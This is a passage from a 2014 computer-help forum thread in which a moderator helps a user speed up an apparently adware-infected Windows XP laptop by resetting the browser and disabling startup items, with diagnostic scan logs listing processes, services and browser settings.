[2014/04/19 14:09:40 | 000,000,000 | -H-- | C] () -- C:\WINDOWS\System32\drivers\Msft_Kernel_RimUsb_01007.Wdf
[2014/04/19 13:49:55 | 000,000,000 | -H-- | C] () -- C:\WINDOWS\System32\drivers\Msft_Kernel_RimSerial_01007.Wdf
[2014/04/19 13:49:53 | 000,000,000 | -H-- | C] () -- C:\WINDOWS\System32\drivers\MsftWdf_Kernel_01007_Coinstaller_Critical.Wdf
[2014/04/19 12:27:48 | 000,000,226 | ---- | C] () -- C:\WINDOWS\tasks\Microsoft Windows XP End of Service Notification Logon.job
[2014/04/19 12:27:47 | 000,000,220 | ---- | C] () -- C:\WINDOWS\tasks\Microsoft Windows XP End of Service Notification Monthly.job
[2014/02/03 11:09:18 | 000,019,558 | ---- | C] () -- C:\WINDOWS\hpoins01.dat
[2014/02/03 11:09:18 | 000,016,606 | ---- | C] () -- C:\WINDOWS\hpomdl01.dat
[2013/08/12 01:16:46 | 000,000,070 | ---- | C] () -- C:\WINDOWS\ERROR.ini
[2013/08/12 01:08:24 | 000,000,164 | ---- | C] () -- C:\WINDOWS\Winamp.ini
[2013/04/14 17:31:13 | 000,007,680 | ---- | C] () -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\DCBC2A71-70D8-4DAN-EHR8-E0D61DEA3FDF.ini
[2013/04/09 09:01:48 | 000,000,000 | ---- | C] () -- C:\WINDOWS\TPTray.INI
[2013/04/09 02:26:54 | 000,000,664 | ---- | C] () -- C:\WINDOWS\System32\d3d9caps.dat
[2013/04/06 16:25:19 | 000,000,004 | ---- | C] () -- C:\WINDOWS\vx86036.dat
[2013/04/06 16:24:29 | 000,000,048 | ---- | C] () -- C:\WINDOWS\Crypkey.ini
[2013/04/06 16:24:27 | 000,023,360 | ---- | C] () -- C:\WINDOWS\System32\Ckldrv.sys
[2013/04/06 16:24:27 | 000,011,776 | ---- | C] () -- C:\WINDOWS\Ckrfresh.exe
[2013/04/06 04:46:56 | 000,000,000 | ---- | C] () -- C:\WINDOWS\WTNSETUP.INI
[2013/04/06 04:41:03 | 000,037,888 | ---- | C] () -- C:\WINDOWS\System32\DCCWFP32.DLL
[2013/04/06 04:41:03 | 000,000,250 | ---- | C] () -- C:\WINDOWS\WINFAX.INI
[2013/04/06 04:40:57 | 000,017,920 | ---- | C] () -- C:\WINDOWS\System32\IMPLODE.DLL
[2013/04/06 04:29:06 | 000,210,944 | ---- | C] () -- C:\WINDOWS\System32\Msvcrt10.dll
[2013/04/06 04:29:01 | 000,065,536 | ---- | C] () -- C:\WINDOWS\System32\adistres.dll
[2013/04/06 03:53:34 | 000,003,072 | ---- | C] () -- C:\WINDOWS\System32\iacenc.dll
[2013/04/04 21:16:56 | 000,128,113 | ---- | C] () -- C:\WINDOWS\System32\csellang.ini
[2013/04/04 21:16:56 | 000,045,056 | ---- | C] () -- C:\WINDOWS\System32\csellang.dll
[2013/04/04 21:16:56 | 000,010,165 | ---- | C] () -- C:\WINDOWS\System32\tosmreg.ini
[2013/04/04 21:16:56 | 000,007,671 | ---- | C] () -- C:\WINDOWS\System32\cseltbl.ini
[2013/04/04 21:16:22 | 000,006,528 | ---- | C] () -- C:\WINDOWS\System32\drivers\Tbiosdrv.sys
 
========== ZeroAccess Check ==========
 
[2005/05/13 04:54:05 | 000,000,227 | RHS- | M] () -- C:\WINDOWS\assembly\Desktop.ini
 
[HKEY_CURRENT_USER\Software\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32]
 
[HKEY_CURRENT_USER\Software\Classes\clsid\{fbeb8a05-beee-4442-804e-409d6c4515e9}\InProcServer32]
 
[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InProcServer32]
"" = %SystemRoot%\system32\shdocvw.dll -- [2008/04/14 06:42:06 | 001,499,136 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Apartment
 
[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{5839FCA9-774D-42A1-ACDA-D6A79037F57F}\InProcServer32]
"" = C:\WINDOWS\system32\wbem\fastprox.dll -- [2009/02/09 05:10:48 | 000,473,600 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Free
 
[HKEY_LOCAL_MACHINE\Software\Classes\clsid\{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}\InProcServer32]
"" = C:\WINDOWS\system32\wbem\wbemess.dll -- [2008/04/14 06:42:10 | 000,273,920 | ---- | M] (Microsoft Corporation)
"ThreadingModel" = Both
 
========== Alternate Data Streams ==========
 
@Alternate Data Stream - 118 bytes -> C:\Documents and Settings\All Users\Application Data\TEMP:373E1720

< End of report >


  • 0

#4
Essexboy
Posted 21 April 2014 - 03:18 PM

Essexboy

    GeekU Moderator

  • Retired Staff
  • 69,964 posts
How is the computer running now ?

You will need to reset Chrome .. Details here https://support.goog...296214?hl=en-GB
  • 0

#5
mraskin
Posted 21 April 2014 - 06:13 PM

mraskin

    Member

  • Topic Starter
  • Member
  • PipPipPip
  • 238 posts

it runs a bit faster, but with some delays


  • 0

#6
Essexboy
Posted 22 April 2014 - 06:47 AM

Essexboy

    GeekU Moderator

  • Retired Staff
  • 69,964 posts
OK next I would suggest a disc defragment

When you get the delay what stage does it occur at ? I.e Startup, browsing or opening programmes
  • 0

#7
mraskin
Posted 25 April 2014 - 03:49 PM

mraskin

    Member

  • Topic Starter
  • Member
  • PipPipPip
  • 238 posts

I get the delay at browsing or opening programmes
 


  • 0

#8
Essexboy
Posted 26 April 2014 - 03:53 AM

Essexboy

    GeekU Moderator

  • Retired Staff
  • 69,964 posts
That would tend to suggest a lot of resident programmes

Download Mike Linns Startup Control Panel from here https://web.archive....tartupCPL.shtml
Unzip the programme and run
Now go to control panel and you will see a Startup icon select that
Then remove the ticks from the following start items :


[LtMoh]
[NDSTray.exe]
[NvCplDaemon]
[nwiz]
[RIMBBLaunchAgent.exe]
[TFncKy]
[TOSHIBA Accessibility]
[WFXSwtch]
[WinFaxAppPortStarter]
[ZoomingHook]
C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Acrobat Assistant.lnk
C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Adobe Gamma Loader.lnk
C:\Documents and Settings\All Users\Start Menu\Programs\Startup\hp psc 1000 series.lnk
C:\Documents and Settings\All Users\Start Menu\Programs\Startup\hpoddt01.exe.lnk
C:\Documents and Settings\All Users\Start Menu\Programs\Startup\RAMASST.lnk

Now reboot and let me know how the computer is behaving
  • 0

#9
mraskin
Posted 28 April 2014 - 11:27 AM

mraskin

    Member

  • Topic Starter
  • Member
  • PipPipPip
  • 238 posts

In Mike Linns Startup Control Panel in the HKLM/Run tab I've unchecked these:

[LtMoh]
[NDSTray.exe]
[NvCplDaemon]
[nwiz]
[RIMBBLaunchAgent.exe]
[TFncKy]
[TOSHIBA Accessibility]
[WFXSwtch]
[WinFaxAppPortStarter]
[ZoomingHook]
 

but I didn't find where these are located in the Mike Linns Startup Control Panel:

C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Acrobat Assistant.lnk
C:\Documents and Settings\All Users\Start Menu\Programs\Startup\Adobe Gamma Loader.lnk
C:\Documents and Settings\All Users\Start Menu\Programs\Startup\hp psc 1000 series.lnk
C:\Documents and Settings\All Users\Start Menu\Programs\Startup\hpoddt01.exe.lnk
C:\Documents and Settings\All Users\Start Menu\Programs\Startup\RAMASST.lnk

 

In the Startup (common) tab I see these :

C:\Program Files\Adobe\Acrobat 5.0\Distillr\AcroTray.exe

C:\Program Files\Common Files\Adobe\Calibration\Adobe Gamma Loader.exe

C:\Program Files\Hewlett-Packard\Digital Imaging\bin\hpohmr08.exe

C:\Program Files\Hewlett-Packard\Digital Imaging\bin\hpotdd01.exe

C:\WINDOWS\system32\RAMASST.exe

 

should i uncheck that?


Edited by mraskin, 28 April 2014 - 11:33 AM.

  • 0

#10
Essexboy
Posted 28 April 2014 - 11:37 AM

Essexboy

    GeekU Moderator

  • Retired Staff
  • 69,964 posts

Deselect the following :

 

C:\Program Files\Adobe\Acrobat 5.0\Distillr\AcroTray.exe

C:\Program Files\Common Files\Adobe\Calibration\Adobe Gamma Loader.exe

C:\Program Files\Hewlett-Packard\Digital Imaging\bin\hpohmr08.exe

C:\Program Files\Hewlett-Packard\Digital Imaging\bin\hpotdd01.exe

 

Reboot and let me know if there is an improvement


  • 0

Advertisements

#11
Essexboy
Posted 02 May 2014 - 06:13 AM

Essexboy

    GeekU Moderator

  • Retired Staff
  • 69,964 posts
Due to lack of feedback, this topic has been closed.

If you need this topic reopened, please contact a staff member. This applies only to the original topic starter. Everyone else please begin a New Topic.
  • 0

#12
Essexboy
Posted 25 May 2014 - 04:34 AM

Essexboy

    GeekU Moderator

  • Retired Staff
  • 69,964 posts

User returned


  • 0

#13
mraskin
Posted 28 May 2014 - 01:50 PM

mraskin

    Member

  • Topic Starter
  • Member
  • PipPipPip
  • 238 posts

OTL logfile created on: 5/27/2014 10:32:38 AM - Run 4
OTL by OldTimer - Version 3.2.69.0     Folder = C:\Documents and Settings\Michael.TOSHIBA\Desktop
Windows XP Home Edition Service Pack 3 (Version = 5.1.2600) - Type = NTWorkstation
Internet Explorer (Version = 8.0.6001.18702)
Locale: 00000409 | Country: United States | Language: ENU | Date Format: M/d/yyyy
 
2.00 Gb Total Physical Memory | 1.46 Gb Available Physical Memory | 73.03% Memory free
3.85 Gb Paging File | 3.49 Gb Available in Paging File | 90.70% Paging File free
Paging file location(s): C:\pagefile.sys 2046 4092 [binary data]
 
%SystemDrive% = C: | %SystemRoot% = C:\WINDOWS | %ProgramFiles% = C:\Program Files
Drive C: | 92.97 Gb Total Space | 59.71 Gb Free Space | 64.23% Space Free | Partition Type: NTFS
 
Computer Name: TOSHIBA | User Name: Michael | Logged in as Administrator.
Boot Mode: Normal | Scan Mode: Current user
Company Name Whitelist: Off | Skip Microsoft Files: Off | No Company Name Whitelist: On | File Age = 30 Days
 
========== Processes (SafeList) ==========
 
PRC - [2014/05/23 01:43:19 | 000,543,232 | ---- | M] () -- C:\Program Files\004\rqpbhevlkc32.exe
PRC - [2014/05/23 00:05:30 | 000,317,728 | ---- | M] () -- C:\Program Files\ScanTack\updateScanTack.exe
PRC - [2014/05/14 12:17:04 | 003,268,080 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\t4pc_en_3\upt4pc_en_3.exe
PRC - [2014/04/28 12:40:28 | 003,984,848 | ---- | M] () -- C:\Program Files\fst_ca_94\fst_ca_94.exe
PRC - [2014/04/20 15:09:42 | 000,602,112 | ---- | M] (OldTimer Tools) -- C:\Documents and Settings\Michael.TOSHIBA\Desktop\OTL.exe
PRC - [2014/03/31 01:17:56 | 000,282,672 | ---- | M] () -- C:\Program Files\Discount Dragon\FrameworkEngine.exe
PRC - [2014/03/27 12:58:56 | 000,060,416 | ---- | M] () -- C:\Program Files\Bench\Wd\wd.exe
PRC - [2014/03/27 12:58:56 | 000,049,664 | ---- | M] () -- C:\Program Files\Bench\BService\bservice.exe
PRC - [2013/10/23 16:01:10 | 000,022,208 | ---- | M] (Microsoft Corporation) -- c:\Program Files\Microsoft Security Client\MsMpEng.exe
PRC - [2013/10/23 15:55:28 | 000,948,440 | ---- | M] (Microsoft Corporation) -- C:\Program Files\Microsoft Security Client\msseces.exe
PRC - [2010/03/18 13:25:55 | 000,126,976 | ---- | M] (CrypKey (Canada) Ltd.) -- C:\WINDOWS\system32\Crypserv.exe
PRC - [2009/02/09 06:01:52 | 000,040,960 | ---- | M] (TOSHIBA CORPORATION) -- C:\Program Files\TOSHIBA\ConfigFree\CFSvcs.exe
PRC - [2008/04/14 06:42:20 | 001,033,728 | ---- | M] (Microsoft Corporation) -- C:\WINDOWS\explorer.exe
PRC - [2005/04/28 20:08:34 | 000,675,840 | ---- | M] (COMPAL ELECTRONIC INC.) -- C:\Program Files\TOSHIBA\E-KEY\CeEKey.exe
PRC - [2005/04/20 15:56:58 | 000,028,672 | ---- | M] (TOSHIBA) -- C:\WINDOWS\system32\TCtrlIOHook.exe
PRC - [2005/04/18 11:33:42 | 000,188,416 | ---- | M] (TOSHIBA Corporation) -- C:\Program Files\TOSHIBA\TOSHIBA Controls\TFncKy.exe
PRC - [2005/04/15 16:51:48 | 000,122,880 | ---- | M] (TOSHIBA Corporation) -- C:\Program Files\TOSHIBA\TOSHIBA Zooming Utility\SmoothView.exe
PRC - [2005/04/05 16:25:34 | 000,073,728 | ---- | M] (TOSHIBA Corporation) -- C:\Program Files\TOSHIBA\Tvs\TvsTray.exe
PRC - [2004/12/30 00:32:20 | 000,065,536 | ---- | M] (TOSHIBA) -- C:\Program Files\TOSHIBA\TOSCDSPD\TOSCDSPD.exe
PRC - [2004/12/28 16:02:46 | 000,270,336 | ---- | M] (TOSHIBA Corporation) -- C:\WINDOWS\system32\TPSMain.exe
PRC - [2004/12/28 16:02:28 | 000,036,864 | ---- | M] (TOSHIBA Corporation) -- C:\WINDOWS\system32\TPSBattM.exe
PRC - [2004/11/30 13:06:26 | 000,053,248 | ---- | M] (COMPAL ELECTRONIC INC.) -- C:\Program Files\TOSHIBA\TouchPad\TPTray.exe
PRC - [2004/09/07 14:03:20 | 001,077,301 | ---- | M] (TOSHIBA) -- C:\Program Files\TOSHIBA\Touch and Launch\PadExe.exe
PRC - [2004/08/27 16:37:00 | 000,155,648 | ---- | M] (Matsushita Electric Industrial Co., Ltd.) -- C:\WINDOWS\system32\RAMASST.exe
PRC - [2004/08/27 16:33:00 | 000,110,592 | ---- | M] (Matsushita Electric Industrial Co., Ltd.) -- C:\WINDOWS\system32\DVDRAMSV.exe
PRC - [2003/04/09 19:21:38 | 000,147,456 | ---- | M] (Hewlett-Packard Co.) -- C:\Program Files\Hewlett-Packard\Digital Imaging\bin\hpohmr08.exe
PRC - [2003/04/09 19:11:12 | 000,028,672 | ---- | M] (Hewlett-Packard) -- C:\Program Files\Hewlett-Packard\Digital Imaging\bin\hpotdd01.exe
PRC - [2003/04/09 18:59:24 | 000,311,296 | ---- | M] (Hewlett-Packard Co.) -- C:\Program Files\Hewlett-Packard\Digital Imaging\bin\hposts08.exe
PRC - [2003/04/09 18:49:36 | 000,286,720 | ---- | M] (Hewlett-Packard Co.) -- C:\Program Files\Hewlett-Packard\Digital Imaging\bin\hpoevm08.exe
PRC - [2001/03/15 05:18:18 | 000,049,254 | ---- | M] (Adobe Systems Inc.) -- C:\Program Files\Adobe\Acrobat 5.0\Distillr\AcroTray.exe
PRC - [2000/09/28 23:58:42 | 000,129,536 | ---- | M] (Symantec Corporation) -- C:\WINDOWS\system32\WFXSVC.EXE
 
 
========== Modules (No Company Name) ==========
 
MOD - [2014/05/23 01:43:19 | 000,543,232 | ---- | M] () -- C:\Program Files\004\rqpbhevlkc32.exe
MOD - [2014/05/23 00:05:30 | 000,317,728 | ---- | M] () -- C:\Program Files\ScanTack\updateScanTack.exe
MOD - [2014/05/14 12:17:04 | 003,268,080 | ---- | M] () -- C:\Documents and Settings\Michael.TOSHIBA\Local Settings\Application Data\t4pc_en_3\upt4pc_en_3.exe
MOD - [2014/04/28 12:40:28 | 003,984,848 | ---- | M] () -- C:\Program Files\fst_ca_94\fst_ca_94.exe
MOD - [2014/03/31 01:17:56 | 000,282,672 | ---- | M] () -- C:\Program Files\Discount Dragon\FrameworkEngine.exe
MOD - [2014/03/27 12:58:56 | 000,060,416 | ---- | M] () -- C:\Program Files\Bench\Wd\wd.exe
MOD - [2014/03/27 12:58:56 | 000,050,688 | ---- | M] () -- C:\Program Files\Bench\BService\bhelper.dll
MOD - [2014/03/27 12:58:56 | 000,049,664 | ---- | M] () -- C:\Program Files\Bench\BService\bservice.exe
MOD - [2014/03/20 12:06:13 | 000,212,992 | ---- | M] () -- C:\WINDOWS\assembly\NativeImages_v2.0.50727_32\System.ServiceProce#\8cd995f00848816e3ec49dc326e3d49b\System.ServiceProcess.ni.dll
MOD - [2014/03/20 12:06:02 | 000,998,400 | ---- | M] () -- C:\WINDOWS\assembly\NativeImages_v2.0.50727_32\System.Management\5c157466d360a10b2c97e94b41ddc588\System.Management.ni.dll
MOD - [2014/03/20 12:04:14 | 000,978,944 | ---- | M] () -- C:\WINDOWS\assembly\NativeImages_v2.0.50727_32\System.Configuration\4b6e70acd99dc22e29b7fc8f9ac340c4\System.Configuration.ni.dll
MOD - [2014/02/14 04:21:13 | 005,462,016 | ---- | M] () -- C:\WINDOWS\assembly\NativeImages_v2.0.50727_32\System.Xml\7faf645dc46781225cb722edf9e1e738\System.Xml.ni.dll
MOD - [2014/02/14 04:20:58 | 012,434,432 | ---- | M] () -- C:\WINDOWS\assembly\NativeImages_v2.0.50727_32\System.Windows.Forms\1cdfe1998ad6794db3237006906c6fa2\System.Windows.Forms.ni.dll
MOD - [2014/02/14 04:20:20 | 001,593,344 | ---- | M] () -- C:\WINDOWS\assembly\NativeImages_v2.0.50727_32\System.Drawing\424bff3295c6e7539cc6df62b9425bd0\System.Drawing.ni.dll
MOD - [2014/02/14 04:17:06 | 007,977,984 | ---- | M] () -- C:\WINDOWS\assembly\NativeImages_v2.0.50727_32\System\4b0455ae94e3cecca4bb3ba8c96828c9\System.ni.dll
MOD - [2014/02/14 04:10:47 | 011,497,984 | ---- | M] () -- C:\WINDOWS\assembly\NativeImages_v2.0.50727_32\mscorlib\dae02331a443fb52216ca83292cb2f21\mscorlib.ni.dll
MOD - [2014/02/12 20:58:32 | 000,073,544 | ---- | M] () -- C:\Program Files\Common Files\Apple\Apple Application Support\zlib1.dll
MOD - [2014/02/12 20:58:10 | 001,044,808 | ---- | M] () -- C:\Program Files\Common Files\Apple\Apple Application Support\libxml2.dll
MOD - [2005/04/25 11:51:32 | 000,028,672 | ---- | M] () -- C:\WINDOWS\system32\TPeculiarity.dll
MOD - [2005/04/20 15:59:06 | 000,028,672 | ---- | M] () -- C:\WINDOWS\system32\TCtrlIO.dll
MOD - [2005/04/01 15:39:56 | 000,024,576 | ---- | M] () -- C:\WINDOWS\system32\EKECioCtl.dll
MOD - [2005/04/01 15:39:14 | 000,024,576 | ---- | M] () -- C:\Program Files\TOSHIBA\TouchPad\TPECioctl.dll
MOD - [2005/04/01 15:37:28 | 000,028,672 | ---- | M] () -- C:\WINDOWS\system32\EBLib.DLL
MOD - [2001/03/15 05:18:08 | 000,065,536 | ---- | M] () -- C:\Program Files\Adobe\Acrobat 5.0\Distillr\adistres.dll
MOD - [2000/09/28 23:58:38 | 000,012,800 | ---- | M] () -- C:\WINDOWS\system32\spool\prtprocs\w32x86\WFXPNT40.DLL
 
 
========== Services (SafeList) ==========
 
SRV - File not found [Disabled | Stopped] -- %SystemRoot%\System32\hidserv.dll -- (HidServ)
SRV - File not found [On_Demand | Stopped] -- %SystemRoot%\System32\appmgmts.dll -- (AppMgmt)
SRV - [2014/05/23 01:43:19 | 000,543,232 | ---- | M] () [Auto | Running] -- C:\Program Files\004\rqpbhevlkc32.exe -- (rqpbhevlkc32)
SRV - [2014/05/23 00:05:30 | 000,317,728 | ---- | M] () [Auto | Running] -- C:\Program Files\ScanTack\updateScanTack.exe -- (Update ScanTack)
SRV - [2014/05/21 07:33:30 | 000,257,712 | ---- | M] (Adobe Systems Incorporated) [On_Demand | Stopped] -- C:\WINDOWS\system32\Macromed\Flash\FlashPlayerUpdateService.exe -- (AdobeFlashPlayerUpdateSvc)
SRV - [2013/12/21 18:22:11 | 000,119,408 | ---- | M] (Mozilla Foundation) [On_Demand | Stopped] -- C:\Program Files\Mozilla Maintenance Service\maintenanceservice.exe -- (MozillaMaintenance)
SRV - [2013/10/23 16:01:10 | 000,022,208 | ---- | M] (Microsoft Corporation) [Auto | Running] -- c:\Program Files\Microsoft Security Client\MsMpEng.exe -- (MsMpSvc)
SRV - [2013/09/05 11:34:30 | 000,171,680 | R--- | M] (Skype Technologies) [Auto | Stopped] -- C:\Program Files\Skype\Updater\Updater.exe -- (SkypeUpdate)
SRV - [2013/01/18 17:10:18 | 000,577,536 | ---- | M] (Research In Motion Limited) [On_Demand | Stopped] -- C:\Program Files\Common Files\Research In Motion\USB Drivers\BbDevMgr.exe -- (Blackberry Device Manager)
SRV - [2012/07/13 16:27:00 | 000,769,432 | ---- | M] (Nero AG) [Auto | Stopped] -- C:\Program Files\Nero\Update\NASvc.exe -- (NAUpdate)
SRV - [2010/03/18 13:25:55 | 000,126,976 | ---- | M] (CrypKey (Canada) Ltd.) [Auto | Running] -- C:\WINDOWS\system32\Crypserv.exe -- (CrypKey License)
SRV - [2009/02/09 06:01:52 | 000,040,960 | ---- | M] (TOSHIBA CORPORATION) [Auto | Running] -- C:\Program Files\TOSHIBA\ConfigFree\CFSvcs.exe -- (CFSvcs)
SRV - [2004/08/27 16:33:00 | 000,110,592 | ---- | M] (Matsushita Electric Industrial Co., Ltd.) [Auto | Running] -- C:\WINDOWS\system32\DVDRAMSV.exe -- (DVD-RAM_Service)
SRV - [2003/03/09 22:31:02 | 000,065,795 | ---- | M] (HP) [On_Demand | Stopped] -- C:\WINDOWS\system32\HPZipm12.exe -- (Pml Driver HPZ12)
SRV - [2000/09/28 23:58:42 | 000,129,536 | ---- | M] (Symantec Corporation) [Auto | Running] -- C:\WINDOWS\system32\WFXSVC.EXE -- (wfxsvc)
 
 
========== Driver Services (SafeList) ==========
 
DRV - File not found [Kernel | On_Demand | Stopped] --  -- (WDICA)
DRV - File not found [Kernel | System | Stopped] -- C:\Program Files\TOSHIBA\Accessibility\StickyMesger.sys -- (StickyMesger)
DRV - File not found [Kernel | On_Demand | Stopped] --  -- (PDRFRAME)
DRV - File not found [Kernel | On_Demand | Stopped] --  -- (PDRELI)
DRV - File not found [Kernel | On_Demand | Stopped] --  -- (PDFRAME)
DRV - File not found [Kernel | On_Demand | Stopped] --  -- (PDCOMP)
DRV - File not found [Kernel | System | Stopped] --  -- (PCIDump)
DRV - File not found [Kernel | System | Stopped] --  -- (lbrtfdc)
DRV - File not found [Kernel | System | Stopped] --  -- (i2omgmt)
DRV - File not found [Kernel | System | Stopped] --  -- (Changer)
DRV - [2014/05/23 01:44:49 | 000,039,464 | ---- | M] (Microsoft Corporation) [Kernel | System | Running] -- c:\Documents and Settings\All Users\Application Data\Microsoft\Microsoft Antimalware\Definition Updates\{55F5BCED-5F40-4F95-A179-AD04A39565ED}\MpKsl82a30193.sys -- (MpKsl82a30193)
DRV - [2014/04/24 12:23:44 | 000,055,224 | ---- | M] (StdLib) [Kernel | System | Running] -- C:\WINDOWS\system32\drivers\{9acd1534-e8f8-40cb-b5ac-4996fe01175b}t.sys -- ({9acd1534-e8f8-40cb-b5ac-4996fe01175b}t)
DRV - [2013/01/22 12:59:30 | 000,028,312 | ---- | M] (Logitech, Inc.) [Kernel | On_Demand | Stopped] -- C:\WINDOWS\system32\drivers\WLRAWMp50x86.sys -- (WLRAWMp50x86)
DRV - [2013/01/22 12:59:30 | 000,027,032 | ---- | M] (Logitech, Inc.) [Kernel | On_Demand | Stopped] -- C:\WINDOWS\system32\drivers\WLRAWSp50x86.sys -- (WLRAWSp50x86)
DRV - [2010/03/18 16:11:11 | 000,023,360 | ---- | M] () [Kernel | System | Running] -- C:\WINDOWS\system32\Ckldrv.sys -- (NetWorkX)
DRV - [2009/02/09 04:54:24 | 000,012,032 | ---- | M] (TOSHIBA Corporation.) [Kernel | Auto | Running] -- C:\WINDOWS\system32\drivers\Netdevio.sys -- (Netdevio)
DRV - [2008/01/09 07:19:16 | 002,216,064 | R--- | M] (Intel® Corporation) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\w29n51.sys -- (w29n51)
DRV - [2005/04/28 01:26:48 | 000,037,248 | ---- | M] (ENE Technology Inc.) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\ESD7SK.sys -- (ESDCR)
DRV - [2005/04/26 19:53:06 | 000,074,112 | ---- | M] (ENE Technology Inc.) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\ESM7SK.sys -- (ESMCR)
DRV - [2005/04/18 19:40:52 | 002,317,504 | ---- | M] (Realtek Semiconductor Corp.) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\ALCXWDM.SYS -- (ALCXWDM)
DRV - [2005/04/15 13:46:04 | 000,029,056 | ---- | M] (TOSHIBA Corporation) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\Tvs.sys -- (Tvs)
DRV - [2005/04/12 00:11:43 | 001,066,278 | ---- | M] (Agere Systems) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\AGRSM.sys -- (AgereSoftModem)
DRV - [2005/03/22 08:00:58 | 001,034,752 | ---- | M] (ATI Technologies Inc.) [Kernel | On_Demand | Stopped] -- C:\WINDOWS\system32\drivers\ati2mtag.sys -- (ati2mtag)
DRV - [2005/03/09 09:14:34 | 000,008,704 | ---- | M] (TOSHIBA ) [Kernel | System | Running] -- C:\WINDOWS\system32\drivers\TPwSav.sys -- (TPwSav)
DRV - [2005/03/03 20:10:26 | 000,074,496 | ---- | M] (Realtek Semiconductor Corporation                           ) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\Rtlnicxp.sys -- (RTL8023xp)
DRV - [2005/02/25 01:33:00 | 000,102,320 | ---- | M] (Matsushita Electric Industrial Co.,Ltd.) [File_System | System | Running] -- C:\WINDOWS\system32\drivers\meiudf.sys -- (meiudf)
DRV - [2005/01/12 19:04:18 | 000,057,984 | ---- | M] (ENE Technology Inc.) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\EMS7SK.sys -- (EMSCR)
DRV - [2004/07/31 07:05:04 | 000,006,400 | ---- | M] (COMPAL ELECTRONIC INC.) [Kernel | System | Running] -- C:\WINDOWS\system32\drivers\EPIOMngr.sys -- (SerTVOutCtlr)
DRV - [2004/07/30 15:05:08 | 000,006,400 | ---- | M] (COMPAL ELECTRONIC INC.) [Kernel | System | Running] -- C:\WINDOWS\system32\drivers\SSIOMngr.sys -- (SrvcSSIOMngr)
DRV - [2004/07/30 15:05:04 | 000,006,400 | ---- | M] (COMPAL ELECTRONIC INC.) [Kernel | System | Running] -- C:\WINDOWS\system32\drivers\EKIOMngr.sys -- (SrvcEKIOMngr)
DRV - [2004/05/08 05:38:06 | 000,101,833 | ---- | M] (Alps Electric Co., Ltd.) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\Apfiltr.sys -- (ApfiltrService)
DRV - [2003/09/19 01:47:00 | 000,010,368 | ---- | M] (Padus, Inc.) [Kernel | On_Demand | Running] -- C:\WINDOWS\system32\drivers\pfc.sys -- (Pfc)
DRV - [2002/01/24 15:43:40 | 000,006,528 | ---- | M] () [Kernel | On_Demand | Stopped] -- C:\WINDOWS\system32\drivers\Tbiosdrv.sys -- (TBiosDrv)
DRV - [2001/09/18 12:00:00 | 000,167,816 | ---- | M] (OmniVision Technologies, Inc.) [Kernel | On_Demand | Stopped] -- C:\WINDOWS\system32\drivers\omcamvid.sys -- (OVT511Plus)
 
 
========== Standard Registry (SafeList) ==========
 
 
========== Internet Explorer ==========
 
IE - HKLM\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://speedial.com/...r=1239874711=
IE - HKLM\..\SearchScopes,DefaultScope = {31090377-0740-419E-BEFC-A56E50500D5B}
IE - HKLM\..\SearchScopes\{0633EE93-D776-472f-A0FF-E1416B8B2E3A}: "URL" = http://www.bing.com/...ms}&FORM=IE8SRC
IE - HKLM\..\SearchScopes\{31090377-0740-419E-BEFC-A56E50500D5B}: "URL" = http://speedial.com/...r=1239874711=
IE - HKLM\..\SearchScopes\{DBF405DC-BD13-4BBD-B384-4540B26E4551}: "URL" = http://start.mysearc...cr=588007132=
 
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Main,Search Bar =
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Main,Search Page =
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Main,Start Page = http://speedial.com/...r=1239874711=
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Search,Default_Search_URL =
IE - HKCU\SOFTWARE\Microsoft\Internet Explorer\Search,SearchAssistant =
IE - HKCU\..\SearchScopes,DefaultScope = {DBF405DC-BD13-4BBD-B384-4540B26E4551}
IE - HKCU\..\SearchScopes\{31090377-0740-419E-BEFC-A56E50500D5B}: "URL" = http://speedial.com/...r=1239874711=
IE - HKCU\..\SearchScopes\{DBF405DC-BD13-4BBD-B384-4540B26E4551}: "URL" = http://start.mysearc...cr=588007132=
IE - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyEnable" = 0
IE - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyOverride" = <-loopback>
IE - HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings: "ProxyServer" = http=127.0.0.1:1938;https=127.0.0.1:1938
 
========== FireFox ==========
 
FF - prefs.js..browser.search.defaultenginename: ""
FF - prefs.js..browser.search.defaultenginename,S: S", ""
FF - prefs.js..browser.search.defaultthis.engineName: ""
FF - prefs.js..browser.search.defaulturl: ""
FF - prefs.js..browser.search.order.1: ""
FF - prefs.js..browser.search.order.1,S: S", ""
FF - prefs.js..browser.search.selectedEngine: ""
FF - prefs.js..browser.search.selectedEngine,S: S", ""
FF - prefs.js..extensions.enabledAddons:
FF - prefs.js..extensions.enabledAddons: a0046b9b-fdb9-497f-a4b1-2a108ad6007a%405cdf80b7-0420-4bb7-b3c0-e188e6f4fb8a.com:0.94.22
FF - prefs.js..extensions.enabledAddons: a9719e64-232b-4695-ae9c-a89cd7f2aa84%40ca1279df-bc0d-44a8-97ef-19301c922b68.com:0.94.28
